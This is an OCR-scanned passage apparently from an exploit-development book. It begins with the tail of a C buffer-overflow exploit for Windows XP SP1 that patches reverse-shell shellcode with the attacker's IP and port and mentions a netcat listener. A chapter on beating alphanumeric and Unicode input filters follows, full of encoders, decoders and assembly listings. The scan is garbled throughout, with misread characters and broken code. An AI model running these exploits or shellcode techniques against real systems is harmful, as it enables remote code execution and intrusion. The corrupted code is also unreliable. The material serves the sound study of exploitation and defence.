"\xEE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8" 
"\x8C\xCD\xA0\xCC\xCD\xDl\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B" 
"\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B" 
"\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF" 
"\xFF\xFF\xFF\xFF"; 

int main(int argc, char *argv[]) 

 { 
int cnt = 0; 
unsigned char buffer[1000]=""; 

if(argc !=3) 

return 0; 

StartWinsock(); 
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// Set Che IP address and port in the exploit code 
//If your IP address has a NULL in it then the 
// string will be truncated.  
 
SetUpExploit(argv[l],atoi(argv[2])); 

// name of the vulnerable program  

strcpy(buffer,"nes");  

// copy exploit code to the buffer strcat(buffer,exploit); 

// Pad out the buffer 
while(cnt < 25) 
{ 

       
         strcat(buffer,"\x90\x90\x90\x90"); 

 cnt ++; 
} 

strcat(buffer,"\x9O\x9O\x9O\x90"); 

// Here's where we overwrite the saved return address  

// This is the address of lstrcatA on windows XP SP 1  

// 0x77E74B66  

strcat(buffer,"\x66\x4B\xE7\x77"); 

//Set the return address for lstrcatA 

// this is where our code will be copied to 
// in the TEB 
strcat(buffer,"\xBC\xE1\xFD\x7F"); 

// Set the destination buffer for lstrcatA 

 // This is in the TEB and we'll return tc  

// here. 

 strcat(buffer,"\xBC\xE1\xFD\x7F"); 

// This is our source buffer. This is the address 

// where we find our original buffre on the stack 

strcat(buffer, "\xl0\xFB\xl2"); 

// Now execute the vulnerable program! 

 WinExec(buffer,SW_MAXIMIZE); 

return 0;  

} 

int StartWinsock()  

{ 
int err=0; 
WORD wVersionRequested; 
WSADATA wsaData; 
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wversionRequested = MAKEWORD( 2, 0 ); 
err = WSAStartup( wVersionRequested, &wsaData ); 
if ( err != 0 ) 

return 0 ; 
if ( LOBYTE( wsaData.wVersion ) != 2 || 
HIBYTE( wsaData.wVersion ) != 0 )  

{ 
WSACleanup( ); 
 return 0; 

} 
Retur 0; 

 } 
int SetUpExploit(char *myip, int myport) 
 { 

unsigned int ip=0;  
unsigned short prt=0; 
 char *ipt="";  
char *prtt=""; 

ip = ine_addr (myip) ; 

ipt = (char*)&ip; 

 exploit[191]=ipt[0];  

exploit[192]=ipt[l];  

exploit[193]=ipt[2]; 

 exploit[194]=ipt[3]; 

// set the TCP port to connect on 
// netcat should be listening on this port 
// e.g. nc -1 -p 53 

prt = htons((unsigned short)myport); 

 prt = prt ^ OxFFFF; 

 prtt = (char *) &prt; 

 exploit[209]=prtt[0]; 

 exploit[210]=prtt[l]; 

return 0; 
} 

Conclusion                                                        

In this chapter, we've covered some of the more advanced areas of 
Windows butter overflow exploitation. Hopefully, the examples and 
explanations we've given have helped show that even what first appears 
difficult to exploit can be coded around It's always safe to assume that a buffer 
overflow vulnerability is exploitable; simply spend time looking at ways in 
which it could be exploited 
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CHAPTER 9 

                                  
Overcoming Filters 

Writing an exploit for certain buffer overflow vulnerabilities can be 
problem-atic because of the filters that may be in place; for example, the 
vulnerable pro-gram may allow only alphanumeric characters from A to Z, a to 
z, and 0 to 9. We must work around two obstacles in such cases. First, any 
exploit code we write must be in the form the filter dictates; second, we must 
find a suitable value that can be used to overwrite the saved return address or 
function pointer, depending on the kind of overflow being exploited. This value 
needs to be in the form allowed by the filter. Assuming a reasonable filter, 
such as printable ASCII or Unicode, we can usually solve the first problem. 
Solving the second depends on, to a certain degree, luck, persistence, and 
craftiness. 

Writing Exploits for Use with an Alphanumeric Filter  

In the recent past, we've seen several situations in which exploit code 
needed to be printable ASCII in nature; that is, each byte must lie between A 
and Z (0x41 to 0x5A), and z (0x61 to 0x7A) or 0 and 9(0x3 0 to 0x39). This 
kind of shellcode was first documented by Riley "Caezar" Eller in his paper 
"Bypassing MSB Data Filters for Buffer Overflows" (August 2000). While the 
shellcode in Caezar's paper only allows for any character between 0x20 
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and 0x7F, it is a good starting point for those interested in overcoming such 
limitations. 

The basic technique uses opcodes with alphanumeric bytes to write your 
real shellcode This is known as bridge building. For example, if we wanted to 
execute acall eax instruction (0xFF 0xD0), then we'd need to write the 
following out to the stack: 

push  30h   (6A 30) // Push0x00000030 onto the stack 

pop  eax     (58)  // Pop  it  into  the  EAX register 
xor        al ,30h  (34    30)   //   XOR  a1  with  0x30.   This   leaves 
0x00000000 
in  EAX 

dec                  eax  (48)    // Take 1  off  the EAX leaving  OxFFFFFFF: 
xor           eax,7A393939h   (35  39 39 39 7A) //  This XOR  leaves 0x85C6C6C6 

xor           eax,55395656h   (35 56 56 39 55)//  and this leaves 0xD0FF9090 

push        eax (50)                       // We push this onto the stack 

This looks fine-we can use similar methods to write our real shellcode. But 
we have a problem. We're writing our real code to the stack, and we'll need 
to ,ump to it or call it. Since we can't directly execute a pop   esp instruction, 
because it has a byte value of 0x5C (the backslash character), how will we 
manipulate ESP? Remember that we need to eventually join the code that 
writes the real exploit with that same exploit. This means that ESP must have 
a higher address than the one from which we're currently executing. 
Assum-ing a classic stack-based buffer overrun where we begin executing at 
ESP, we could adjust ESP upwards with an INC  ESP   (0x44). However, 
this does us no good, because INC   ESP adjusts ESP by 1, and the INC   
ESP instruction takes 1 byte so that we're constantly chasing it. No, what we 
need is an instruction that adjusts ESP in a big way. 

Here is where the popad instruction becomes useful, popad (the opposite of 
pushad) takes the top 32 bytes from ESP and pops them into the registers in 
an orderly fashion. The only register popad that doesn't update directly by 
popping a value off the stack into the register is ESP. ESP adjusts to reflect 
that 32 bytes have been removed from the stack. In this way, if we're currently 
executing at ESP, and we execute popad a few times, then ESP will point to a 
higher address than the one at which we're currently executing. When we start 
pushing our real shellcode onto the stack, the two will meet in the middle— 
we've built our bridge. 

Doing anything useful with the exploit will require a large number of similar 
hacks. In the call eax example above, we've used 17 bytes of alphanumeric 
shellcode It. write out 4 bytes of "real" shellcode. If we use a portable 
Windows reverse shell exploit that requires around 500 bytes, our 
alphanumeric version will be somewhere in excess of 2000 bytes. What's 
more, writing it will be a pain;, and then if we want to write another exploit that 
does something more 
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than a reverse shell, we must do the same thing again from scratch. Can we 
do anything to rectify this issue? The answer is, of course, yes, and comes in 
the form of a decoder. 

If we write our real exploit first and then encode it, then we need only to write 
a decoder in ASCII that decodes and then executes the real exploit. This 
method requires you to write only a small amount of ASCII shellcode once and 
reduces the overall size of the exploit. What encoding mechanism should we 
use? The Base64 encoding scheme seems like a good candidate. Base64 
takes 3 bytes and converts them to 4 printable ASCII bytes, and is often used 
as a mechanism for binary file transfers. Base64 would give us an expansion 
ratio of 3 bytes of real shellcode to 4 bytes of encoded shellcode. However, 
the Base64 alphabet contains some non-alphanumeric characters, so we'll 
have to use something else. A better solution would be to come up with our 
own encoding scheme with a smaller decoder. For this I'd suggest Basel6, a 
variant of Base64. Here's how it works. 

Split the 8-bit byte into two 4-bit bytes. Add 0x41 to each of these 4 bits. In 
this way, we can represent any 8-bit byte as 2 bytes both with a value 
between 0x41 and 0x50. For example, if we have the 8-bit byte 0x90 
(10010000 in binary), we split it into two 4-bit sections, giving us 1001 and 
0000. We then add 0x41 to both, giving us 0x4A and 0x41—a J and an A. 

Our decoder does the opposite; it reverses the process. It takes the first 
char-acter, J (or 0x4A in this case) and then subtracts 0x41 from it. We then 
shift this left 4 bits, add the second byte, and subtract 0x41. This leaves us 
with 0x90 again. 

                      Here: 
mov                al, byte ptr   [edi] 

                   sub al,41h 

                    shl al,4 

                    inc edi 

                    add al,.byte ptr [edi] 

                    sub al,41h 

                    inc esi 

                    inc edi 

cmp     byte        ptr[edi],0x51  
                    jb here 

This shows the basic loop of the decoder. Our encoded exploit should use 
only characters A to P, so we can mark the end of our encoded exploit with a 
Q or greater. EDI points to the beginning of the buffer to decode, as does ESI. 
We move the first byte of the buffer into al and subtract 0x41. Shift this left 4 
bits, and then add the second byte of the buffer to AL. Subtract 0x41. We write 
the result to ESI—reusing our buffer. We loop until we come to a character in 
the buffer greater than a P. Many of the bytes behind this decoder are not 
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alphanumeric, however. We need to create a decoder writer to write this 
decoder out first and then have it execute. 

Another question is how do we set EDI and ESI to point to the right loca-tion 
where our encoded exploit can be found? Well, we have a bit more to do— we 
must precede the decoder with the following code to set up the registers: 

jmp B 
A: jmp C 
B: call A 
C: pop         edi 
add        edi, OxlC 
push edi 
pop esi 

The first few instructions get the address of our current execution point 
(EIP-1) and then pop this into the EDI register. We then add OxlC to EDI. EDI 
now points to the byte after the jb instruction at the end of the code of the 
decoder. This is the point at which our encoded exploit starts and also the 
point at which it is written. In this way, when the loop has completed, 
execu-tion continues straight into our real decoded snellcode. Going back, we 
make a copy of EDI, putting it in ESI. We'll be using ESI as the reference for 
the point at which we decode our exploit. Once the decoder to a character 
greater than p, we break out of the loop and continue execution into our newly 
decoded exploit. All we do now is write the "decoder writer" using only 
alphanumeric characters. Execute the following code and you will see the 
decoder writer in action: 

#include <stdio.h> 

int main() { 
char buffer [400] ="aaaaaaaaj0X40HPZRXi5A9f5UVfPh0z00X5JEaBP" 

"YAAAAAAQhC000X5C7wvH4wPh00a0X527MqPh0" 
"0CCXf54wfPRXf5zzf5EefPh00M0X508aqH4uFh0G0" 
"0X50ZgnH48PRX500O050M00PYAQX4aHHfPRX40" 
"46PRXf50zf50bPYAAAAAAfQRXf50zf50oPYAAAfQ" 
" RX5555z5ZZZnPAAAAAAAAAAAAAAAAAAAAAAA" 
"AAAAAAAAAAAAAAAAAAAAAAAAEBESEBEBEBE" 
"BEBEBEBEBEBEBEBEBEBEBEBEBEBEBQQ"; 

unsigned int x = 0; 
x = &bufter; 
_asm{ 

mov esp, x 
jmp esp  
} 

 return 0; 
} 
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The real exploit code to be executed is encoded and then appended to the 
end of this piece of code. It is delimited with a character greater than P. The 
code of the encoder follows: 

#include <stdio.h> 

 #include <windows.h> 

int Main()  

{ 
unsigned char 
RealShellcode[]="\x55\x8B\xEC\x68\x30\x30\x30\x30\x58\x8B\xE5\x5D\xC
3"  

unsigned int count = 0,   length=0,   cnt=0;  

unsigned char  *ptr = null; 

unsigned char a=0,b=0; 

length = strlen(RealShellcode); 

 ptr = Malloc((length +1) * 2); 

 if (!ptr) 

return printf(“malloc() failed.\n”); 

ZeroMemory(ptr,(lensth+l)*2); 

 while(count < length) 
{ 
 a = b = RealShellcode[count]; 
a =a>>4; 

b = b<< 4; 

 b =  b>> 4; 
a =  a  +  0x41;  
b  =  b  +  0x41;  
ptr[cnt++]   = a;  
ptr[cnt++]   =  b; 
count ++; 

} 
strca(ptr.,"QQ"); 
 free(ptr);  
return 0; 

} 

Writing Exploits for Use with a Unicode Filter                          

Chris Anley first documented the feasibility of the exploitation of 
Unicode-cased vulnerabilities in his excellent paper "Creating Arbitrary Shell 
Code in Unicode Expanded Strings/' published in January 2002 
(www.nextgenss. com/papers/unicodebo.pdf). 
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The paper introduces a method for creating shellcode with machine code 
that is Unicode in nature; that is, with every second byte being a null. Although 
Chris's paper is a fantastic introduction to using such techniques, there are 
some limitations to the method and code he presents. He recognizes these 
limitations and concludes his paper by stating that refinements can be made. 
This section introduces Chris's technique, known as the Venetian Method, and 
his implementation of the method. We then detail some refine-ments and 
address some of its shortcomings. 

What Is Unicode? 

Before we continue, let's cover the basics of Unicode. Unicode is a standard 
for encoding characters using 16 bits per character (rather than 8 bits—well, 7 
bits, actually, like ASCII) and thus supports a much greater character set, 
lending itself to internationalization. By supporting the Unicode standard, an 
operat-ing system can be more easily used and therefore gain acceptance in 
the inter-national community. If an operating system uses Unicode, then the 
code of the operating system needs to be written only once, and only the 
language and character set need to change; so even those systems that use 
the Roman alpha-bet use Unicode. The ASCII value of each character in the 
Roman alphabet and number system is padded with a null byte in its Unicode 
form. For example, the ASCII character A, which has a hex value of 0x41, 
becomes 0x4100 in Unicode. 

String:        ABCDEF 

Under ASCII:    \x41\x42\x43\x44\x45\x46\x00 

Under Unicode:  

\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x00\x00 

Such Unicode characters are often referred to as wide characters; strings 
made up of wide characters are terminated with two null bytes. However, 
non-ASCII characters, such as those found in the Chinese or Russian 
alphabets, would not have the null bytes—all 16 bits would be used 
accordingly. In the Windows family of operating systems, normal ASCII strings 
are often con-verted to their Unicode equivalent when passed to the kernel or 
when used in protocols such as RFC. 

Converting from ASCII to Unicode 

At a high level, most programs and text-based network protocols such as 
HTTP deal with normal ASCII strings. These strings may then be converted to 
their Unicode equivalents so that the low-level code underlying programs and 
servers can deal with them. 
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WHY DO UNICODE VULNERABILITIES OCCUR  

Unicode-based vulnerabilities occur for the same reason normal ones do . just 
about everyone knows about the dangers of using functions like strcpy () and strcat 
(). and the same applies to Unicode; there are wide-character equivalents such as 
wscpy () and wscat (). Indeed, even the conversion functions MultiByteToWideChar() 
and wideCharToMultiByte() are vulnerable to buffer overflow if the lengths of the 
strings used are miscalculated or misunderstood. You can even have Unicode 
format-string vulnerabilities. 

Under Windows, a normal ASCII string would be converted to its 
wide-character equivalent using the function MultiByteToWideChar (). 
Con-versely, converting a Unicode string to its ASCII equivalent uses the 
Wide CharToMultiByte () function. The first parameter passed to both these 
functions is the code page. A code page describes the variations in the 
character set to be applied. When tne function MultiByteToWideChar () is 
called, depending on what code page it has been passed, one 8-bit value may 
turm into completely different 16-bit values. For example, when the conversion 
function is called with the ANSI code page (CP_ACP), the 8-bit value 0x8B is 
converted to the wide-character value 0x3920. However, if the OEM code 
page (CP_OEM) is used, then 0x8B becomes 0xEF00. 

Needless to say, the code page used in the conversion will have a big 
impact on any exploit code sent to a Unicode-based vulnerability. However, 
more often than not, ASCII characters such as A (0x41) are typically 
converted to their wide-character versions simply by adding a null byte—0 
x4100. As such, when writing plug-and-play exploit code for Unicode-based 
buffer overflows, it's better to use code made up entirely of ASCII characters. 
In this way, you minimize the chance of the code being mangled by 
conversion routines. 

Exploiting Unicode-Based Vulnerabilities 

In order to exploit a Unicode-based buffer overflow, we first need a 
mecha-nism to transfer the process's path of execution to the user-supplied 
buffer. By the very nature of the vulnerability, an exploit will overwrite the 
saved return address or the exception handler with a Unicode value. For 
example, if our buffer can be found at address 0x00310004, then we'd 
overwrite the saved return address/exception handler with 0x00310004. If one 
of the reg-isters contains the address of the user-supplied buffer (and if you're 
very lucky), you may be able to find a "jmp register" or "call register" opcode at 
or near a Unicode-style address.  For example, if the EBX register points to 
the 
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user-supplied buffer, then you may find a jmp ebx instruction perhaps at 
address 0x00770058. If you have even more luck, you may also get away with 
having a jmp or call ebx instruction above a Unicode-form address. Consider 
the following code: 

Ox007700FF     inc ecx 

0x00770100     push ecx  

0x00770101    call ebx 

We'd overwrite the saved return address/exception handler with 
0x007700FF, and execution would transfer to this address. When execution 
takes up at this point, the ECX register is incremented by 1 and pushed onto 
the stack, and then the address pointed to by EBX is called. Execution would 
then continue in the user-supplied buffer. This is a one in a million 
likelihood—but it's worth bearing in mind. If there's nothing in the code that will 
cause an access violation before the call/jmp register instruction, then it's 
definitely useable. 

Assuming you do find a way to return to the user-supplied buffer, the next 
thing you need is either a register that containe the address of somewhere in 
the buffer, or you need to know an address in advance. The Venetian Method 
uses this address when it creates the shellcode on the fly. We'll later discuss 
how to get the fix on the address of the buffer. 

The Available Instruction Set in Unicode Exploits 

When exploiting a Unicode-based vulnerability, the arbitrary code executed 
must be of a form in which each second byte is a null and the other is non-null. 
This obviously makes for a limited set of instructions available to you. 
Instruc-tions available to the Unicode exploit developer are all those 
single-byte oper-ations that include such instructions as push, pop, inc, and 
dec. Also available are the instructions with a byte form of 

nn00nn 

such as: 

mul  eax, dword ptr[eax] , OxOOnn 

Alternatively, you may find 

nn00nnOOnn 

such as：  

imul eax,  dword ptr[eax], 0x00nn00nn 
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Or, you could find many add-based instructions of the form 

00nn00 

where two single-byte instructions are used one after the other, as in 
this code fragment: 

00401066 50 push        eax 

00401067 59 pop         ecx 

The instructions must be separated with a nop-equivalent of the form 
00 nn  00 to make it Unicode in nature. One such choice could be: 

00401067 00 6D 00 add        byte ptr [ebp],ch 

Of course, for this method to succeed, the address pointed to by 
EBP must be writable. If it isn't, choose another; we've listed many 
more later in this section. When embedded between the push and the 
pop we get: 

00401066   50                   push         eax  

00401067 00 6D 00               add        byte ptr [ebp],ch  

0040106A 59                     pop         ecx  

These are Unicode in nature: 
\x50\x00\x6D\x00\x59 

The Venetian Method                                         

Writing a full-featured exploit using _uch a limited instruction set is extremely 
difficult, to say the least. So what can be done to make the task easier? Well, 
you could use the limited set of available instructions to create the real exploit 
code on the fly, as is done using the Venetian technique described in Chris 
Anley's paper This method essentially entails an exploit that uses an "exploit 
writer" and a buffer with half the real exploit already in it. This buffer is the 
destination that the real exploit code will eventually reach. The exploit writer, 
written using only the limited instruction set, replaces each null byte in the 
destination buffer with what it should be in order to create the full-featured real 
exploit code. 

Let's look at an example. Before the exploit writer begins executing. the 
destination buffer could be: 

\x41\x00\x43\x00\x45\x00\x47\00 
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When the exploit writer starts, it replaces the first null with 0x42 to give us 
\x41\x42\x43\x00\x45\x00\x47\x00 

The next null is replaced with 0x44 , which results in 
\x41\x42\x43\x44\x45\x00\x47\x00 

The process is repeated until the final full-featured "real" exploit remains. 
\x41\x42\x43\x44\x45\x46\x47\x48 

As you can see, it's much like Venetian blinds closing—hence the name for 
the technique. 

To set each null byte to its appropriate value, the exploit writer needs at 
least one register that points to the first null byte of the half-filled buffer when it 
starts its work. Assuming EAX points to the first null byte, it can be set with the 
following instruction: 

00401066 80 00 42 add        byte ptr [eax],42h 

Adding 0x42 to 0x00, needless to say, gives us 0x42. EAX then must be 
incremented twice to point to the next null byte; then it too can be filled. But 
remember, the exploit writer part of the exploit code needs to be Unicode in 
nature, so it should be padded with nop-equivalents. To write 1 byte of exploit 
code now requires the following code: 

00401066 80 00 42 add         byte ptr [eax],42h 

00401069 00 6D 00 add         byte ptr [ebp],ch 
0040106C 40 inc        eax 

0040106D 00 6D 00 add         byte ptr [ebp],ch 

40 inc         eax 

00 6D 00 add        byte ptr [ebp],ch 

This is 14 bytes (7 wide characters) of instruction and 2 bytes (1 wide 
char-acter) of storage, which makes 16 bytes (8 wide characters) for 2 bytes 
of real exploit code. One byte is already in the destination buffer; the other is 
created by the exploit writer on the fly. 

Although Chris's code is small (relatively speaking), which is a benefit, the 
problem is that one of the bytes of code has a value of 0x80. If the exploit is 
first sent as an ASCII-based string and then converted to Unicode by the 
vul-nerable process, depending on the code page in use during the conversion 
rou-tine, this byte may get mangled. In addition, when replacing a null byte 
with a value greater than 0x7F, the same problem creeps in—the exploit code 
may get mangled and thus fail to work. To solve this we need to create an 
exploit writer that uses only characters 0x2 0 to 0x7F. An even better solution 
would 
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be to use only letters and numbers; punctuation characters sometimes get 
special treatment and are often stripped, escaped, or converted. We will try 
our best to avoid these characters to guarantee success. 

An ASCII Venetian Implementation 

Our task is to develop a Unicode-type exploit that, using the Venetian 
Method, creates arbitrary code on the fly using only ASCII letters and numbers 
from the Roman alphabet—a Roman Exploit Writer, if you will. We have 
several methods available to us, but many are too inefficient; they use too 
many bytes to create a single byte of arbitrary shellcode. The method we 
present here adheres to our requirements and appears to use the least 
number of bytes for an ASCII equivalent of the original code presented with 
the Venetian Method. Before getting to the meat of the exploit writer, we need 
to set certain states. We need ECX to point to the first null byte in the 
destination buffer, and we need the value 0x01 on top of the stack, 0x3 9 in 
the EDX register (in DL specifically), and 0x69 in the EBX register (in BL 
specifically). Don't worry if you don't quite understand where these 
preconditions come from; all will soon become clear. With the nop-equivalents 
(in this case, add byte ptr [ebp] , ch) removed for the sake of clarity, the setup 
code is as follows: 

0040B55E 6A 00 push 0 
0040B560 5B pop ebx 
0040B564 43 inc ebx 
0040B568 53 push ebx 
0040B56C 54 push esp 
0040B570 58 pop eax 
0040B574 6B 00 39 imul eax,dword ptr[eax],39h 
0040B57A 50 push eax 
0040B57E 5A pop edx 
0040B582 54 push esp 
0040B586 58 pop eax 

0040B58A 6B 00 69 imul eax,dword ptr[eax], 69h 
0040B590 50 push eax 
0040B594 5B pop ebx 

Assuming ECX already contains the pointer to the first null byte (and we'll 
deal with this aspect later), this piece of code starts by pushing 0x00000000 
onto the top of the stack, which is then popped off into the EBX register. EBX 
now holds the value 0. We then increment EBX by 1 and push this on to the 
stack. Next, we push the address of the top of the stack onto the top, then pop 
into EAX. EAX now holds the memory address of the l. We now multiply 1 by 
0x39 to give 0x39, and the result is stored in EAX. This is then pushed onto 
the stack and popped into EDX. EDX now holds the value 0x39—more 
important, the value of the low 8-bit DL part of EDX contains 0x39. 
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We then push the address of the 1 onto the top of the stack again with the 

push esp instruction, and again pop it into EAX. EAX contains the memory 
address of the 1 again. We multiply this 1 by 0x69, leaving this result in EAX. 
We then push the result onto the stack and pop it into EBX. EBX / BL now 
contains the value 0x69. Both BL and DL will come into play later when we 
need to write out a byte with a value greater than 0x7F. Moving on to the code 
that forms the implementation of the Venetian Method, and again with the 
nop-equivalents removed for clarity, we have: 

0040B5BA 54 Push esP 
0040B5BE 58 PoP eax 
0040B5C2 6B 00 41 imul eax.dword ptr [eax],41h 
0040B5C5 00 41 00 add byte ptr [ecx].al 
0040B5C8 41 inc ecx 
0040B5CC 41 inc ecx 

Remembering that we have the value 0x0000 0001 at the top of the stack, 
we push the address of the 1 onto the stack. We then pop this into EAX, so 
EAX now contains the address of the 1. Using the imul operation, we multiply 
this 1 by the value we want to write out—in this case, 0x41. EAX now holds 
0x00 0 00041, and thus AL holds 0x41. We add this to the byte pointed to by 
ECX—remember this is a null byte, and so when we add 0x41 to 0x00 we're 
left with 0x41—thus closing the first "blind." We then increment ECX twice to 
point to the next null byte, skipping the non-null byte, and repeat the process 
until the full code is written out. 

Now what happens if you need to write out a byte with a value greater than 
0x7F? We'll this is where BL and DL come into play. What follows are a few 
variations on the above code that deals with this situation. 

Assuming the null byte in question should be replaced with a byte in the 
range of 0x7F to OxAF, for example 0x94 (xchg eax, esp) we would use the 
following code: 

0040B5BA 54 push esp 
0040B5BE 58 pop eax 
0040B5C2 6B 00 5B imul eax.dword ptr [eax],5Bh 
0040B5C5 00 41 00 add byta ptr [ecx],al 
00408SC8 46 inc esi 
0040B5C9 00 51 00 add byte ptr [ecx],dl // <---
  
HERE 
004OB5CC 41 inc ecx 
0040B5DO 41 inc ecx 

Notice what is going on here. We first write out the value 0x5B to the null 
byte and then add the value in DL to it—0x39. 0x39 plus 0x5B is 0x94. Inci 
dentally, we insert an INC ESI as a nop-equivalent to avoid incrementing ECX 
too early and adding 0x3 9 to one of the non-null bytes. 
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If the null byte to be replaced should have a value in the range of 0xAF to 

0xFF, for example, 0xC3 (ret), use the following code: 
0040B5BA 54 Push esP 
0040B5BE 58 PoP eax 
0040B5C2 6B 00 5A imul eax.dword ptr [eax],5Ah 
0040B5C5 00 41 00 add byte ptr [ecx],al 
0040B5C8 46 inc   esi 
0040B5C9 00 59 00 add byte ptr [ecx],bl // <
  
HERE 
0040B5CC 41 inc ecx 
004OB5D0 41 inc ecx 

In this case, we're doing the same thing, this time using BL to add 0x69 to 
where the byte points. This is done by using ECX, which has just been set to 
0x5A. 0x5A plus 0x69 equals 0xC3, and thus we have written out our ret 
instruction. 

What if we need a value in the range of 0x0 0 to 0x20? In this case, we 
sim-ply overflow the byte. Assuming we want the null byte replaced with 0x06 
(push es), we'd use this code: 

0040B5BA 54 push esp 
0040B5BE 58 pop eax 
0040B5C2 6B 00 64 imul eax.dword ptr 
[eax],64h 
0040B5C5 00 41 00 add byte ptr 
[ecx],al 
0040B5C8 46 inc esi 
0040B5C9 00 59 00 add byte ptr 
[ecx],bl       // <— 
- BL == 0x69 
0040B5CC 46 inc        esi 
0040B5CD 00 51 00 add        byte ptr [ecx],dl      // <-- 
- DL == 0x39 
0040B5DO 41       inc        ecx 
0040B5D4 41 inc       ecx 

0x60 plus 0x69 plus 0x3 9 equals 0x106. But a byte can only hold a 
maxi-mum value of 0xFF, and so the byte "overflows," leaving 0x06. 

This method can also be used to adjust non-null bytes if they're not in the 
range 0x2 0 to 0x7F. What's more, we can be efficient and do something 
use-iul with one of the nop-equivalents—let's use this method and make it 
non-nop-equivalent. Assuming, for example, that the non-null byte should be 
0xC3 (ret), initially we would set it to 0x5A. We would make sure to do this 
before calling the second inc ecx, when setting the null byte, before this 
non-null byte. We could adjust it as follows: 

0040B5BA 54 push       esp 
0040B5BE 58                   pop        eax 
0040B5C2 6B 00 41 imul       eax,dword ptr [e 
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0040B5C5 00 41 00 addbyte ptr [ecx],al 
0040B5C8 41 inc ecx 
// NOW ECX POINTS TO THE  0x5A IN THE DESTINATION BUFFER 
0040B5C9 00 59 00 addbyte ptr [ecx],bl 
// <-- BL == 0x69 NON-null BYTE NOW EQUALS 0xC3 
0040B5CC 41 inc ecx 
0040B5CD 00 6D 00 addbyte ptr [ebp],ch 

We repeat these actions until our code is complete. We're left then with the 
question: What code do we really want to execute? 

Decoder and Decoding                                            

Now that we've created our Roman Exploit Writer implementation, we need 
to write out a good exploit. Exploits can be large, however, so using the previ 
ous technique may prove unfeasible because we simply may not have enough 
room. The best solution would be to use our exploit writer to create a small 
decoder that takes our full real exploit in Unicode form and converts it back to 
non-Unicode form—our own WideCharToMultiByte () function. This method 
will greatly save on space. 

We'll use the Venetian Method to create our own WideCharToMulti Byte () 
code and then tack our real exploit code onto the end of it. Here's how the 
decoder will work. Assume the real arbitrary code we wish to execute is 

\x41\x42\x43\x44\x45\x46\x47\x48 

When exploiting the vulnerability this is converted to the Unicode string: 
\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00 

If, however, we send 

\x41\x43\x45\x47\x48\x46\x44\x42 

It will become 

\x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

We then write our WideCharToMultiByte () decoder to take the \x42 at the 
end and place it after the \x41. Then it will copy the \x44 after the \x43 and so 
on, until complete. 

\x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x44\x00\x42\x00 
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Move the \x42. 
\x41\x42\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

Move the \x44. 
\x41\x42\x43\x44\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 

Move the \x46. 
\x41\x42\x43\x44\x45\x46\x47\x00\x4 8\x00\x4 6\x00\x44\x00\x42\x00 

Move the \x48. 
\x41\x42\x43\x44\x45\x46\x47\x48\x48\x00\x46\x00\x44\x00\x42\x00 

 

Thus, we have decoded the Unicode string to give us the real arbitrary code we 
wish to execute. 

The Decoder Code 

The decoder should be written as a self-contained module, thus making it 
plug-and-play. The only assumption this decoder makes is that upon entry, the 
EDI register will contain the address of the first instruction that will execute— 
in this case 0x004010B4.The length of thedecoder, 0x23 bytes, is then added 
to EDI so that EDI now points to just past the jne here instruction. This is 
where the Unicode string to decode will begin. 

004010B4 83 C7 23 add edi,23h 

004010B7 33 C0 xor eax,eax 

004010B9 33 C9 xor ecx,ecx 

004010BB F7 Dl not ecx 

004010BD F2 66 AF repne scas word ptr [edi] 

004010C0 F7 Dl not ecx 

004010C2 Dl El shl ecx,1 

004010C4 2B F9 sub edi, ecx 

004010C6 83 E9 04 sub ecx, 4 

004010C9 47 inc edi 

here: 

004010CA 49 dec ecx 

004010CB 8A 14 OF mov dl,dword ptr [edi+ecx] 

004010CE 88 17 mov byte ptr [edi] , dl 

004010D0 47 inc edi 

004010D1 47 inc edi 

004010D2 49 dec        
 ecx 

004010D3 49 dec ecx 

004010D4 49 dec        
           
  ecx 

004010D5 75 F3 jne here (004010ca) 

team 509's presents



 
212   Chapter 9 

Before decoding the Unicode string, the decoder needs to know the length of 
the string to decode. If this code is to be plug-and-play capable, then this 
string can have an arbitrary length. To get the length of the string, the code 
scans the string looking for two null bytes; remember that two null bytes ter 
minate a Unicode string. When the decoder loop starts, at the label marked 
here, ECX contains the length of the string, and EDI points to the beginning of 
the string. EDI is then incremented by 1 to point to the first null byte, and ECZ 
is decremented by 1. Now, when ECX is added to EDI, it points to the last 
non-null byte character of the string. This non-null byte is then moved tem 
porarily into DL and then moved into the null byte pointed to by EDI. EDI is 
incremented by 2, and ECX decremented by 4, and the loop continues. 

When EDI points to the middle of the string, ECX is 0, and all the non-null 
bytes at the end of the Unicode string have been shifted to the beginning of 
the string, replacing the null bytes, and we have a contiguous block of code. 
When the loop finishes, execution continues at the beginning of the freshly 
decoded exploit, which has been decoded up to immediately after the jne here 
instruction. 

Before actually writing the code of the Roman Exploit Writer, we have one 
more thing to do. We need a pointer to our buffer where the decoder will be 
written. Once the decoder has been written, this pointer then needs to be 
adjusted to point to the buffer with which the decoder will work. 

Getting a Fix on the Buffer Address 

Returning to the point at which we've just gained control of the vulnerable 
process, before we do anything further, we need to get a reference to the 
user-supplied buffer. The code we'll use when employing the Venetian Method 
uses the ECX register, so we'll need to set ECX to point to our buffer. Two 
meth ods are available, depending on whether a register points to the buffer. 
Assum ing at least one register does contain a pointer to our buffer (for 
example, the EAX register), we'd push it onto the stack then pop it off into the 
ECX. 

push eax 

 pop  ecx 

If, however, no register points to the buffer, then we can use the following 
technique, provided we know where our buffer is exactly in memory. More often 
than not, we'll have overwritten the saved return address with a fixed location; 
e.g., 0x00410041, so we'll have this information. 

   
  push       0 

  pop      eax 

  inc      eax 

  push      eax 
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push esp 
pop eax 
imul eax,dword ptr[eax],0x00110041 

This pushes 0x00000000 onto the stack, which is then popped into EAX. 
EAX is now 0. We then increment EAX by 1 and push it onto the stack. With 
0x00000001 on top of the stack, we then push the address of the top of the 
stack onto the stack. We then pop this into EAX; EAX now points to the 1. We 
multiply this 1 with the address of our buffer, essentially moving the address of 
